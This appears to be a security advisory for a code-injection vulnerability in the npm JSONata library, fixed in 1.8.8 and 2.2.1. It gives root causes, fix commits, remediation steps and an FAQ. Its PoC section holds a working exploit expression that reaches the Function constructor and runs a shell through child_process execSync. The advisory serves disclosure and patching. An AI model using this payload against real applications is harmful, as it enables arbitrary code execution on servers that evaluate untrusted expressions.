GHSA-66mm-25pp-rfff: Code Injection

Published Aug 21, 2026
·
Updated

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];

$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };

$nop := function() { $ };

$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };

$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();

$gP := $obj.lg("proto");

$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );

await expression.evaluate({});

References

- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04

Affected Software

2 affected componentsFixes available
npm/jsonata<1.8.8
1.8.8
npm/jsonata>=2.0.0<2.2.1
2.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 1.8.8
  2. Upgrade

    Upgrade npm/jsonata to a version that resolves this vulnerability.

    Fixed in 2.2.1

Event History

Aug 21, 2026
Advisory Published
via GitHub·09:04 PM
Data Sourced
via GitHub·09:04 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which JSONata versions contain the fixes?

The fixes are included in JSONata 2.2.1 and were backported to the 1.8.8 release. Versions before 2.2.1 and 1.8.8 are affected.

2

What must an attacker be able to do to exploit this issue?

An attacker needs the ability to supply a crafted JSONata expression that the application evaluates. The expression chains object mutation through an overwritten $clone, destructuring of JSONata functions or lambdas, and procedure invocation behavior to execute arbitrary code.

3

How can I determine whether an application is exposed?

Check whether the application uses the npm/jsonata package at a version earlier than 2.2.1 or 1.8.8, and whether it evaluates JSONata expressions influenced or supplied by untrusted users. Such expression-evaluation paths should be treated as exposed until updated.

Contact

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